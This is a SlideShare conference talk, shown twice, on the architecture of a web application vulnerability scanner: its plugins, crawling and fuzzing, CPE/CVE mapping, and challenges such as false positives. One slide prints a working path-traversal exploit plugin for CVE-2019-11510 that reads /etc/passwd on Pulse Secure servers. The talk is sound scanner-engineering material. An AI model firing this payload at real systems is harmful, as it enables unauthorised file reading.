SlideShare a Scribd company logo
Trung Nguyen
Building a high performance
Web Application Vulnerability Scanner
› @everping
› Founder & CEO at CyStack
› Security Researcher, Bug Hunter, Computer Engineer
› Discovered critical vulnerabilities and acknowledged by
Microsoft, IBM, D-LINK, HP, Delloite
Whoami
› What is a WAVS?
› Why do we need WAVS?
› Architecture and Design
› Challenges
Agenda
What is a WAVS?
Web Application Vulnerability Scanners are
automated tools that scan web applications, normally
from the outside, to look for security vulnerabilities
such as Cross-site scripting, SQL Injection, Command
Injection, Path Traversal and insecure server
configuration
Why do we need WAVS?
› Discover attack surfaces (URLs, headers, open
ports)
› Gather information about the target (OS, Web
frameworks, built-in technologies, sitemap)
› Detect non-business logic vulnerabilities (SQLi, XSS,
SSTi)
› Detect misconfigurations
For pentesters
› Get similar advantages as pentesters get
› See an overview of security risks in web applications
› Integrate findings into vulnerability management
› Save cost against basic security flaws
For businesses
Should we create our own
WAVS?
NO
Except you do it due to educational purposes or clear
commercial purposes
› User doesn’t like the way scanner X implements a feature
› User has free time
› User starts writing his own scanner and usually succeeds in implementing the one
feature he really needed
› The new web application scanner only works on a small subset of sites, since it doesn’t
know how to extract links other than the ones in tags, or can’t handle broken HTML, or is
too slow to be used on any site with more than a few hundred pages.
› The creator of the new tool maintains it for six months
› The project dies when the project lead finds more interesting things to do, finds a tool
that did what he needed, changes jobs, etc.
The usual timeline
It’s time to build
Security testing in the wild
Discovery
Vulnerability
Analysis
Exploitation
Follow the tactical exploitation
Security testing in the wild
Discovery
Vulnerability
Analysis
Exploitation
This is the process for discovering as much
background information about the target as
possible including, hosts, operating systems,
topology, etc.
Security testing in the wild
Discovery
Vulnerability
Analysis
Exploitation
Vulnerability analysis is the process of
discovering flaws in systems and applications
which can be leveraged by an attacker.
Security testing in the wild
Discovery
Vulnerability
Analysis
Exploitation
The exploitation focuses solely on establishing
access to a system or resource by bypassing
security restrictions.
› Scalability: Adding new vulnerability signatures
easily
› Stability: Taking up less RAM and CPU
› Reliability: Finding vulnerabilities with low false
positive
Requirements
The
Flow
Subdomain Findercs.com
news.cs.com
blog.cs.com
...
Port Scan
https://blog.cs.com:443
ftp://news.cs.com:21
https://news.cs.com:8443
...
Crawling & Fuzzing CPE and CVE Mapping Public exploits Testing
Vulnerability synthesis
Architecture
Core Plugins
Apply the plugin-based architecture
Core
› Manages the main flow
› Coordinates the processes, threads
› Provides APIs to resuse by plugins
Plugins
› Find flaws directly
› Get data from the core
› Share information gathered for other components/plugins via the core apis
Plugins
› Infrastructure: Gather all information about the target such as sitemap, headers, OS,
web framework, etc. It runs in a loop which the output of one discovery plugin is sent
as input to the next plugin
› Subdomain: Find all sub-domains from the root domain
› Audit: Take the output of discovery plugins and find vulnerabilities by fuzzing
› Attack: Try to exploit by using confirmed finding from audit plugins
› Other plugins: Output, mangle, evasion, grep, brute force
Architecture
User
Discovery
Audit
Output
Knowledge
Base
Approaches for audit
Crawling and Fuzzing
› The main component is a crawler
› The crawler gets the seed URL and finds all possible URLs of the target
Seed URL
Requester
Parse
Document
HTTP Response
URL Queue
The URL is not in the queue
URL
Pack
The URL is in the queue?
Fuzzable
Request
Crawling and Fuzzing
Knowledge Base
Pack
Debugger
Raw fuzz data
Fuzzable
Request
Mutant
Crawling and Fuzzing
› Normally use for finding 0-day vulnerabilities or common vulnerabilities (SQLi, XSS,
etc)
› Complex to implement a new plugin
› Take high rate of false positives
CPE and CVE mapping
› Detect the name and version of all possible technologies, frameworks of the target
› Convert findings to CPEs (Common Platform Enumeration) strings
› CPE is a structured naming scheme for information technology systems, software,
and packages.
› Find CVEs map with those CPEs
cpe:2.3:o:linux:linux_kernel:2.6.0:*:*:*:*:*:*:*
cpe:/o:linux:linux_kernel:2.6.0
CPE and CVE mapping
› Sometimes, converting name and version to CPE format is impossible
› Building your own threat intelligence or vulnerability DB is required
Public exploits tesing
› As know as blind testing
› Run known exploit code with your target. If the response matches the signature, the
target is vulnerable
› Detecting technologies is not really necessary
Public exploits tesing
› Normally use for finding 1-day vulnerabilities, CVEs, known and public exploits for
specific applications or frameworks
› Easy to implement a new plugin
› Take low rate of false positives
Public exploits tesing
class Cve201911510(AttackPlugin):
def __init__(self):
super().__init__()
self.path = '/dana-na'
self.payload = self.generate_payload()
def generate_payload(self, file_name=''):
if file_name == '':
file_name = '/etc/passwd'
payload = f'/../dana/html5acc/guacamole/../../../../../../..{fil
e_name}?/dana/html5acc/guacamole/'
return payload
def real_exploit(self, url):
resp = self.requester.get(url + self.payload, path_as_is=True)
if 'root:x:0' in resp.text:
return True
return False
Recommendation
Program languages
› The main language depends on the environment that the scanner is installed
› If the scanner is distributed as a desktop app, it should be written in low-level
language to protect against reverse engineering. Python is a bad choice.
› If the scanner is delivered as a service, the language is not a problem
› The core can be written in any program languages
› The plugins should be written in scripting languages such as python, LUA, or even
your own language for scalability
Code design
› Design pattern is very important if you’d like to scale up the scanner
class CoreStrategy(object):
def start(self):
try:
target = self._core.base_target
if not target.is_valid():
logger.error('The target is not valid')
return
if target.get_type() == TYPE_URL:
self.discover()
self.attack()
self.audit()
else:
self.discover()
self.attack()
except ScanMustStopException:
logger.error('[!] The scan will be finished now')
except:
logger.error()
Strategy Pattern
Code design
› Design pattern is very important if you’d like to scale up the scanner
def real_exploit(self, url):
"""
This method MUST be implemented on every plugin.
:param url: url to test whether it can be exploited or not
:return: True if it is vulnerable. Otherwise, false.
"""
msg = 'Plugin is not implementing required method real_exploit'
raise NotImplementException(msg)
Abstract Pattern
Code design
› Design pattern is very important if you’d like to scale up the scanner
def real_exploit(self, url):
"""
This method MUST be implemented on every plugin.
:param url: url to test whether it can be exploited or not
:return: True if it is vulnerable. Otherwise, false.
"""
msg = 'Plugin is not implementing required method real_exploit'
raise NotImplementException(msg)
Abstract Pattern
Code design
› Design pattern is very important if you’d like to scale up the scanner
def factory(module_name, *args):
"""
This function creates an instance of a class that's inside a module
with the same name.
Example :
>> cve_2015_4852 = factory( 'exploits.plugins.attack.cve_2015_4852' )
>> cve_2015_4852.get_name()
>> 'CVE-2015-4852'
:param module_name: Which plugin do you need?
:return: An instance.
"""
Factory Pattern
Challenges
› The traditional crawler does not work with JS-based website
or single page application (Angular, VueJS, React)
Javascript crawling
› Available solutions: Using headless browsers to render JS
at the client side (Chronium, Firefox, PhantomJS, Splash, etc)
› Cons: Those engines take up a lot of computer resources
(RAM, CPU) and the rendering speed is slow
Javascript crawling
› Scanners normally take a lot of
› I/O resources since performing many requests to outside
› CPU since it has to be analyzed continuously
› RAM since using multi-thread design or forgetting to free
unnecessary memory
High overhead
› Solutions
› Optimize your code
› Should use low-level program languages
High overhead
https://blog.com/news/stuck-in-vietnam-a-stroke-of-luck-4193869.html
URL Rewrite
https://blog.com/posts/?id=4193869
A scanner can easily detect GET parameters as
But hardly to detect this one
https://blog.com/news/n1.html
https://blog.com/news/n2.html
https://blog.com/news/n3.html
Similarity URLs
Below URLs are similarity
But a scanner can crawl all of them, which leads to an increase in the
time scan
› Many web applications handle requests not in the way we
expect (e.g return status code 200 for not found pages)
› Delay in connections
› The web content includes vulnerability signatures
False positives
› Solution: Fix case by case
False positives
› Identify the appropriate form field (email, phone, name, city)
› Authenticate the target
› Crawl and fuzz APIs
› Deal with business logic vulnerabilities
Others
Thanks !
trungnh@cystack.net
@everping

More Related Content

PDF
Malware detection-using-machine-learning
Security Bootcamp
 
PPTX
Malware Classification and Analysis
Prashant Chopra
 
PPTX
Malware classification using Machine Learning
Japneet Singh
 
PDF
Malware Detection - A Machine Learning Perspective
Chong-Kuan Chen
 
PPT
Malware Detection using Machine Learning
Cysinfo Cyber Security Community
 
PPT
Data mining techniques for malware detection.pptx
Aditya Deshmukh
 
PDF
Adversarial machine learning for av software
junseok seo
 
PPT
Setup Your Personal Malware Lab
Digit Oktavianto
 
Malware detection-using-machine-learning
Security Bootcamp
 
Malware Classification and Analysis
Prashant Chopra
 
Malware classification using Machine Learning
Japneet Singh
 
Malware Detection - A Machine Learning Perspective
Chong-Kuan Chen
 
Malware Detection using Machine Learning
Cysinfo Cyber Security Community
 
Data mining techniques for malware detection.pptx
Aditya Deshmukh
 
Adversarial machine learning for av software
junseok seo
 
Setup Your Personal Malware Lab
Digit Oktavianto
 

What's hot (20)

DOCX
Malware detection
ssuser1eca7d
 
PPTX
Malware Detection Using Machine Learning Techniques
ArshadRaja786
 
PPTX
Introduction to Malware Detection and Reverse Engineering
intertelinvestigations
 
PPTX
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
EndgameInc
 
PPTX
Machine Learning for Malware Classification and Clustering
Ashwini Almad
 
PDF
Machine Learning in Malware Detection
Kaspersky
 
PPTX
Detecting Evasive Malware in Sandbox
Rahul Mohandas
 
PPTX
Cyber Threat Hunting Training (CCTHP)
ENOInstitute
 
PPTX
Semantics aware malware detection ppt
Manish Yadav
 
PPTX
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
Digit Oktavianto
 
PPT
Next Generation Advanced Malware Detection and Defense
Luca Simonelli
 
PDF
Creating Your Own Threat Intel Through Hunting & Visualization
Raffael Marty
 
PPTX
Malware Analysis
Ramin Farajpour Cami
 
PPTX
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
Lastline, Inc.
 
PPTX
An Introduction to Malware Classification
John Seymour
 
PPTX
Threat hunting in cyber world
Akash Sarode
 
PPTX
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
Lastline, Inc.
 
PDF
AI approach to malware similarity analysis: Maping the malware genome with a...
Priyanka Aash
 
PDF
Fighting advanced malware using machine learning (English)
FFRI, Inc.
 
PPTX
Another Side of Hacking
Satria Ady Pradana
 
Malware detection
ssuser1eca7d
 
Malware Detection Using Machine Learning Techniques
ArshadRaja786
 
Introduction to Malware Detection and Reverse Engineering
intertelinvestigations
 
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
EndgameInc
 
Machine Learning for Malware Classification and Clustering
Ashwini Almad
 
Machine Learning in Malware Detection
Kaspersky
 
Detecting Evasive Malware in Sandbox
Rahul Mohandas
 
Cyber Threat Hunting Training (CCTHP)
ENOInstitute
 
Semantics aware malware detection ppt
Manish Yadav
 
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
Digit Oktavianto
 
Next Generation Advanced Malware Detection and Defense
Luca Simonelli
 
Creating Your Own Threat Intel Through Hunting & Visualization
Raffael Marty
 
Malware Analysis
Ramin Farajpour Cami
 
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
Lastline, Inc.
 
An Introduction to Malware Classification
John Seymour
 
Threat hunting in cyber world
Akash Sarode
 
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
Lastline, Inc.
 
AI approach to malware similarity analysis: Maping the malware genome with a...
Priyanka Aash
 
Fighting advanced malware using machine learning (English)
FFRI, Inc.
 
Another Side of Hacking
Satria Ady Pradana
 

Similar to Nguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s view (20)

PPTX
Cyber ppt
karthik menon
 
PPT
香港六合彩
baoyin
 
PDF
Using Analyzers to Resolve Security Problems
kiansahafi
 
PDF
OWASP Portland - OWASP Top 10 For JavaScript Developers
Lewis Ardern
 
PPTX
Thick client pentesting_the-hackers_meetup_version1.0pptx
Anurag Srivastava
 
PDF
Shift Left Security
gjdevos
 
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
FernandoVizer
 
PDF
Thick Application Penetration Testing: Crash Course
Scott Sutherland
 
PDF
"Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an...
SegInfo
 
PDF
Web application penetration testing lab setup guide
Sudhanshu Chauhan
 
PDF
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...
MrityunjayaHikkalgut1
 
PPTX
Application and Website Security -- Fundamental Edition
Daniel Owens
 
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
azida3
 
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
johnpragasam1
 
PPTX
OWASP_Top_Ten_Proactive_Controls version 2
ssuser18349f1
 
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
cgt38842
 
PPTX
OWASP_Top_Ten_Proactive_Controls_v32.pptx
nmk42194
 
PPTX
VAPT_FINAL SLIDES.pptx
karthikvcyber
 
PPTX
Penetration testing dont just leave it to chance
Dr. Anish Cheriyan (PhD)
 
PDF
Thick Application Penetration Testing - A Crash Course
NetSPI
 
Cyber ppt
karthik menon
 
香港六合彩
baoyin
 
Using Analyzers to Resolve Security Problems
kiansahafi
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
Lewis Ardern
 
Thick client pentesting_the-hackers_meetup_version1.0pptx
Anurag Srivastava
 
Shift Left Security
gjdevos
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
FernandoVizer
 
Thick Application Penetration Testing: Crash Course
Scott Sutherland
 
"Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an...
SegInfo
 
Web application penetration testing lab setup guide
Sudhanshu Chauhan
 
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...
MrityunjayaHikkalgut1
 
Application and Website Security -- Fundamental Edition
Daniel Owens
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
azida3
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
johnpragasam1
 
OWASP_Top_Ten_Proactive_Controls version 2
ssuser18349f1
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
cgt38842
 
OWASP_Top_Ten_Proactive_Controls_v32.pptx
nmk42194
 
VAPT_FINAL SLIDES.pptx
karthikvcyber
 
Penetration testing dont just leave it to chance
Dr. Anish Cheriyan (PhD)
 
Thick Application Penetration Testing - A Crash Course
NetSPI
 

More from Security Bootcamp (20)

PDF
Ẩn mình kết nối C&C - Xu hướng tấn công và cách phòng thủ
Security Bootcamp
 
PPTX
AI-ttacks - Nghiên cứu về một số tấn công vào các mô hình học máy và AI
Security Bootcamp
 
PPTX
Human and AI - Balancing Innovation and Data Privacy in the Age of Cyber Threats
Security Bootcamp
 
PPTX
Robustness of Deep learning mode ls.pptx
Security Bootcamp
 
PPTX
DLL Sideloading cho mọi nhà - Security Bootcamp 2024
Security Bootcamp
 
PDF
Let the Hunt Begin - Security Bootcamp 2024
Security Bootcamp
 
PDF
Detection as Code - Effective Approach to manage & optimize SOC Development
Security Bootcamp
 
PDF
Quản trị rủi ro nguồn mở tại các doanh nghiệp phần mềm Việt Nam
Security Bootcamp
 
PDF
Phân tích một chiến dịch ransomware: Từ lan truyền đến tống tiền
Security Bootcamp
 
PDF
CyberJutsu - The Joern-ey of Static Code Analysis.pdf
Security Bootcamp
 
PPTX
Security in the AI and Web3 era - Veramine
Security Bootcamp
 
PDF
ĐỂ AI ĐƯỢC AN TOÀN, MINH BẠCH, CÓ TRÁCH NHIỆM VÀ ‘NHÂN TÍNH’ HƠN
Security Bootcamp
 
PDF
Modern Security Operations - Building and leading modern SOC
Security Bootcamp
 
PDF
Humanity and AI: Balancing Innovation and Data Privacy in the Age of Cyber Th...
Security Bootcamp
 
PPTX
SBC2024_AI TRONG CYBER SECURITY_final.pptx
Security Bootcamp
 
PPTX
Cyber GenAI – Another Chatbot? - Trellix
Security Bootcamp
 
PDF
Akamai_ API Security Best Practices - Real-world attacks and breaches
Security Bootcamp
 
PPTX
How to steal a drone Drone Hijacking - VNPT Cyber Immunity
Security Bootcamp
 
PDF
Empowering Malware Analysis with IDA AppCall
Security Bootcamp
 
PDF
Detection of Spreading Process on many assets over the network
Security Bootcamp
 
Ẩn mình kết nối C&C - Xu hướng tấn công và cách phòng thủ
Security Bootcamp
 
AI-ttacks - Nghiên cứu về một số tấn công vào các mô hình học máy và AI
Security Bootcamp
 
Human and AI - Balancing Innovation and Data Privacy in the Age of Cyber Threats
Security Bootcamp
 
Robustness of Deep learning mode ls.pptx
Security Bootcamp
 
DLL Sideloading cho mọi nhà - Security Bootcamp 2024
Security Bootcamp
 
Let the Hunt Begin - Security Bootcamp 2024
Security Bootcamp
 
Detection as Code - Effective Approach to manage & optimize SOC Development
Security Bootcamp
 
Quản trị rủi ro nguồn mở tại các doanh nghiệp phần mềm Việt Nam
Security Bootcamp
 
Phân tích một chiến dịch ransomware: Từ lan truyền đến tống tiền
Security Bootcamp
 
CyberJutsu - The Joern-ey of Static Code Analysis.pdf
Security Bootcamp
 
Security in the AI and Web3 era - Veramine
Security Bootcamp
 
ĐỂ AI ĐƯỢC AN TOÀN, MINH BẠCH, CÓ TRÁCH NHIỆM VÀ ‘NHÂN TÍNH’ HƠN
Security Bootcamp
 
Modern Security Operations - Building and leading modern SOC
Security Bootcamp
 
Humanity and AI: Balancing Innovation and Data Privacy in the Age of Cyber Th...
Security Bootcamp
 
SBC2024_AI TRONG CYBER SECURITY_final.pptx
Security Bootcamp
 
Cyber GenAI – Another Chatbot? - Trellix
Security Bootcamp
 
Akamai_ API Security Best Practices - Real-world attacks and breaches
Security Bootcamp
 
How to steal a drone Drone Hijacking - VNPT Cyber Immunity
Security Bootcamp
 
Empowering Malware Analysis with IDA AppCall
Security Bootcamp
 
Detection of Spreading Process on many assets over the network
Security Bootcamp
 

Recently uploaded (20)

PPTX
Pengenalan perangkat Jaringan komputer pada teknik jaringan komputer dan tele...
Prayudha3
 
PPTX
How tech helps people in the modern era.
upadhyayaryan154
 
PPTX
Different Generation Of Computers .pptx
divcoder9507
 
PDF
Latest Scam Shocking the USA in 2025.pdf
onlinescamreport4
 
PPTX
Crypto Recovery California Services.pptx
lionsgate network
 
PPTX
Google SGE SEO: 5 Critical Changes That Could Wreck Your Rankings in 2025
Reversed Out Creative
 
PPTX
Slides Powerpoint: Eco Economic Epochs.pptx
Steven McGee
 
PDF
Cybersecurity Awareness Presentation ppt.
banodhaharshita
 
PPTX
dns domain name system history work.pptx
MUHAMMADKAVISHSHABAN
 
PPT
1965 INDO PAK WAR which Pak will never forget.ppt
sanjaychief112
 
PPTX
The Monk and the Sadhurr and the story of how
BeshoyGirgis2
 
PPTX
Perkembangan Perangkat jaringan komputer dan telekomunikasi 3.pptx
Prayudha3
 
PPTX
The Internet of Things (IoT) refers to a vast network of interconnected devic...
chethana8182
 
PPTX
Artificial-Intelligence-in-Daily-Life (2).pptx
nidhigoswami335
 
PPTX
EthicalHack{aksdladlsfsamnookfmnakoasjd}.pptx
dagarabull
 
PDF
BGP Security Best Practices that Matter, presented at PHNOG 2025
APNIC
 
PPTX
B2B_Ecommerce_Internship_Simranpreet.pptx
LipakshiJindal
 
PPTX
LESSON-2-Roles-of-ICT-in-Teaching-for-learning_123922 (1).pptx
renavieramopiquero
 
PPTX
The Latest Scam Shocking the USA in 2025.pptx
onlinescamreport4
 
PPTX
办理方法西班牙假毕业证蒙德拉贡大学成绩单MULetter文凭样本
xxxihn4u
 
Pengenalan perangkat Jaringan komputer pada teknik jaringan komputer dan tele...
Prayudha3
 
How tech helps people in the modern era.
upadhyayaryan154
 
Different Generation Of Computers .pptx
divcoder9507
 
Latest Scam Shocking the USA in 2025.pdf
onlinescamreport4
 
Crypto Recovery California Services.pptx
lionsgate network
 
Google SGE SEO: 5 Critical Changes That Could Wreck Your Rankings in 2025
Reversed Out Creative
 
Slides Powerpoint: Eco Economic Epochs.pptx
Steven McGee
 
Cybersecurity Awareness Presentation ppt.
banodhaharshita
 
dns domain name system history work.pptx
MUHAMMADKAVISHSHABAN
 
1965 INDO PAK WAR which Pak will never forget.ppt
sanjaychief112
 
The Monk and the Sadhurr and the story of how
BeshoyGirgis2
 
Perkembangan Perangkat jaringan komputer dan telekomunikasi 3.pptx
Prayudha3
 
The Internet of Things (IoT) refers to a vast network of interconnected devic...
chethana8182
 
Artificial-Intelligence-in-Daily-Life (2).pptx
nidhigoswami335
 
EthicalHack{aksdladlsfsamnookfmnakoasjd}.pptx
dagarabull
 
BGP Security Best Practices that Matter, presented at PHNOG 2025
APNIC
 
B2B_Ecommerce_Internship_Simranpreet.pptx
LipakshiJindal
 
LESSON-2-Roles-of-ICT-in-Teaching-for-learning_123922 (1).pptx
renavieramopiquero
 
The Latest Scam Shocking the USA in 2025.pptx
onlinescamreport4
 
办理方法西班牙假毕业证蒙德拉贡大学成绩单MULetter文凭样本
xxxihn4u
 

Nguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s view

  • 1. Trung Nguyen Building a high performance Web Application Vulnerability Scanner
  • 2. › @everping › Founder & CEO at CyStack › Security Researcher, Bug Hunter, Computer Engineer › Discovered critical vulnerabilities and acknowledged by Microsoft, IBM, D-LINK, HP, Delloite Whoami
  • 3. › What is a WAVS? › Why do we need WAVS? › Architecture and Design › Challenges Agenda
  • 4. What is a WAVS?
  • 5. Web Application Vulnerability Scanners are automated tools that scan web applications, normally from the outside, to look for security vulnerabilities such as Cross-site scripting, SQL Injection, Command Injection, Path Traversal and insecure server configuration
  • 6. Why do we need WAVS?
  • 7. › Discover attack surfaces (URLs, headers, open ports) › Gather information about the target (OS, Web frameworks, built-in technologies, sitemap) › Detect non-business logic vulnerabilities (SQLi, XSS, SSTi) › Detect misconfigurations For pentesters
  • 8. › Get similar advantages as pentesters get › See an overview of security risks in web applications › Integrate findings into vulnerability management › Save cost against basic security flaws For businesses
  • 9. Should we create our own WAVS?
  • 10. NO Except you do it due to educational purposes or clear commercial purposes
  • 11. › User doesn’t like the way scanner X implements a feature › User has free time › User starts writing his own scanner and usually succeeds in implementing the one feature he really needed › The new web application scanner only works on a small subset of sites, since it doesn’t know how to extract links other than the ones in tags, or can’t handle broken HTML, or is too slow to be used on any site with more than a few hundred pages. › The creator of the new tool maintains it for six months › The project dies when the project lead finds more interesting things to do, finds a tool that did what he needed, changes jobs, etc. The usual timeline
  • 12. It’s time to build
  • 13. Security testing in the wild Discovery Vulnerability Analysis Exploitation Follow the tactical exploitation
  • 14. Security testing in the wild Discovery Vulnerability Analysis Exploitation This is the process for discovering as much background information about the target as possible including, hosts, operating systems, topology, etc.
  • 15. Security testing in the wild Discovery Vulnerability Analysis Exploitation Vulnerability analysis is the process of discovering flaws in systems and applications which can be leveraged by an attacker.
  • 16. Security testing in the wild Discovery Vulnerability Analysis Exploitation The exploitation focuses solely on establishing access to a system or resource by bypassing security restrictions.
  • 17. › Scalability: Adding new vulnerability signatures easily › Stability: Taking up less RAM and CPU › Reliability: Finding vulnerabilities with low false positive Requirements
  • 19. Architecture Core Plugins Apply the plugin-based architecture Core › Manages the main flow › Coordinates the processes, threads › Provides APIs to resuse by plugins Plugins › Find flaws directly › Get data from the core › Share information gathered for other components/plugins via the core apis
  • 20. Plugins › Infrastructure: Gather all information about the target such as sitemap, headers, OS, web framework, etc. It runs in a loop which the output of one discovery plugin is sent as input to the next plugin › Subdomain: Find all sub-domains from the root domain › Audit: Take the output of discovery plugins and find vulnerabilities by fuzzing › Attack: Try to exploit by using confirmed finding from audit plugins › Other plugins: Output, mangle, evasion, grep, brute force
  • 23. Crawling and Fuzzing › The main component is a crawler › The crawler gets the seed URL and finds all possible URLs of the target Seed URL Requester Parse Document HTTP Response URL Queue The URL is not in the queue URL Pack The URL is in the queue? Fuzzable Request
  • 24. Crawling and Fuzzing Knowledge Base Pack Debugger Raw fuzz data Fuzzable Request Mutant
  • 25. Crawling and Fuzzing › Normally use for finding 0-day vulnerabilities or common vulnerabilities (SQLi, XSS, etc) › Complex to implement a new plugin › Take high rate of false positives
  • 26. CPE and CVE mapping › Detect the name and version of all possible technologies, frameworks of the target › Convert findings to CPEs (Common Platform Enumeration) strings › CPE is a structured naming scheme for information technology systems, software, and packages. › Find CVEs map with those CPEs cpe:2.3:o:linux:linux_kernel:2.6.0:*:*:*:*:*:*:* cpe:/o:linux:linux_kernel:2.6.0
  • 27. CPE and CVE mapping › Sometimes, converting name and version to CPE format is impossible › Building your own threat intelligence or vulnerability DB is required
  • 28. Public exploits tesing › As know as blind testing › Run known exploit code with your target. If the response matches the signature, the target is vulnerable › Detecting technologies is not really necessary
  • 29. Public exploits tesing › Normally use for finding 1-day vulnerabilities, CVEs, known and public exploits for specific applications or frameworks › Easy to implement a new plugin › Take low rate of false positives
  • 30. Public exploits tesing class Cve201911510(AttackPlugin): def __init__(self): super().__init__() self.path = '/dana-na' self.payload = self.generate_payload() def generate_payload(self, file_name=''): if file_name == '': file_name = '/etc/passwd' payload = f'/../dana/html5acc/guacamole/../../../../../../..{fil e_name}?/dana/html5acc/guacamole/' return payload def real_exploit(self, url): resp = self.requester.get(url + self.payload, path_as_is=True) if 'root:x:0' in resp.text: return True return False
  • 32. Program languages › The main language depends on the environment that the scanner is installed › If the scanner is distributed as a desktop app, it should be written in low-level language to protect against reverse engineering. Python is a bad choice. › If the scanner is delivered as a service, the language is not a problem › The core can be written in any program languages › The plugins should be written in scripting languages such as python, LUA, or even your own language for scalability
  • 33. Code design › Design pattern is very important if you’d like to scale up the scanner class CoreStrategy(object): def start(self): try: target = self._core.base_target if not target.is_valid(): logger.error('The target is not valid') return if target.get_type() == TYPE_URL: self.discover() self.attack() self.audit() else: self.discover() self.attack() except ScanMustStopException: logger.error('[!] The scan will be finished now') except: logger.error() Strategy Pattern
  • 34. Code design › Design pattern is very important if you’d like to scale up the scanner def real_exploit(self, url): """ This method MUST be implemented on every plugin. :param url: url to test whether it can be exploited or not :return: True if it is vulnerable. Otherwise, false. """ msg = 'Plugin is not implementing required method real_exploit' raise NotImplementException(msg) Abstract Pattern
  • 35. Code design › Design pattern is very important if you’d like to scale up the scanner def real_exploit(self, url): """ This method MUST be implemented on every plugin. :param url: url to test whether it can be exploited or not :return: True if it is vulnerable. Otherwise, false. """ msg = 'Plugin is not implementing required method real_exploit' raise NotImplementException(msg) Abstract Pattern
  • 36. Code design › Design pattern is very important if you’d like to scale up the scanner def factory(module_name, *args): """ This function creates an instance of a class that's inside a module with the same name. Example : >> cve_2015_4852 = factory( 'exploits.plugins.attack.cve_2015_4852' ) >> cve_2015_4852.get_name() >> 'CVE-2015-4852' :param module_name: Which plugin do you need? :return: An instance. """ Factory Pattern
  • 38. › The traditional crawler does not work with JS-based website or single page application (Angular, VueJS, React) Javascript crawling
  • 39. › Available solutions: Using headless browsers to render JS at the client side (Chronium, Firefox, PhantomJS, Splash, etc) › Cons: Those engines take up a lot of computer resources (RAM, CPU) and the rendering speed is slow Javascript crawling
  • 40. › Scanners normally take a lot of › I/O resources since performing many requests to outside › CPU since it has to be analyzed continuously › RAM since using multi-thread design or forgetting to free unnecessary memory High overhead
  • 41. › Solutions › Optimize your code › Should use low-level program languages High overhead
  • 44. › Many web applications handle requests not in the way we expect (e.g return status code 200 for not found pages) › Delay in connections › The web content includes vulnerability signatures False positives
  • 45. › Solution: Fix case by case False positives
  • 46. › Identify the appropriate form field (email, phone, name, city) › Authenticate the target › Crawl and fuzz APIs › Deal with business logic vulnerabilities Others